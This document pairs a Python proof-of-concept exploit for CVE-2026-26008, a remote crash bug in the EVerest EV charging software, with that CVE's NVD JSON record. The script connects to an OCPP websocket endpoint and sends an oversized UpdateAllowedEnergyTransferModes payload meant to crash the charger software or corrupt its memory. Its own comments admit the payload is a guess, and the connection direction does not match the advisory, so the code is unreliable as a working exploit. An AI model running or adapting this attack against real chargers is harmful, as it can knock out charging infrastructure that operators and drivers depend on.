CVE-2026-26008

import json import websocket # Exploit Title: CVE-2026-26008 EVerest Out-of-Bounds Access PoC # Description: Triggers a crash via malformed UpdateAllowedEnergyTransferModes message. TARGET_URI = "ws://target-ev-server:port/OCPPJ" def generate_malicious_payload(): """ Generates a JSON-RPC message with a malformed payload intended to cause std::vector out-of-bounds access. """ message_id = "1" action = "UpdateAllowedEnergyTransferModes" # Attempting to trigger the vector issue by sending malformed data structure # or an extremely large list depending on implementation details. malformed_payload = { "allowedEnergyTransferModes": ["AC"] * 1000000 } return [3, message_id, action, malformed_payload] def exploit(): try: print(f"[*] Connecting to {TARGET_URI}...") ws = websocket.create_connection(TARGET_URI) payload = generate_malicious_payload() payload_str = json.dumps(payload) print(f"[*] Sending malicious payload: {payload_str}") ws.send(payload_str) print("[+] Payload sent. Check target for crash/memory corruption.") ws.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-26008", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:32.510", "lastModified": "2026-03-31T13:45:52.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Versions prior to 2026.02.0 have an out-of-bounds access (std::vector) that leads to possible remote crash/memory corruption. This is because the CSMS sends UpdateAllowedEnergyTransferModes over the network. Version 2026.2.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de VE. Las versiones anteriores a la 2026.02.0 tienen un acceso fuera de límites (std::vector) que conduce a una posible caída remota/corrupción de memoria. Esto se debe a que el CSMS envía UpdateAllowedEnergyTransferModes a través de la red. La versión 2026.2.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-vw95-6jj7-3fv9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}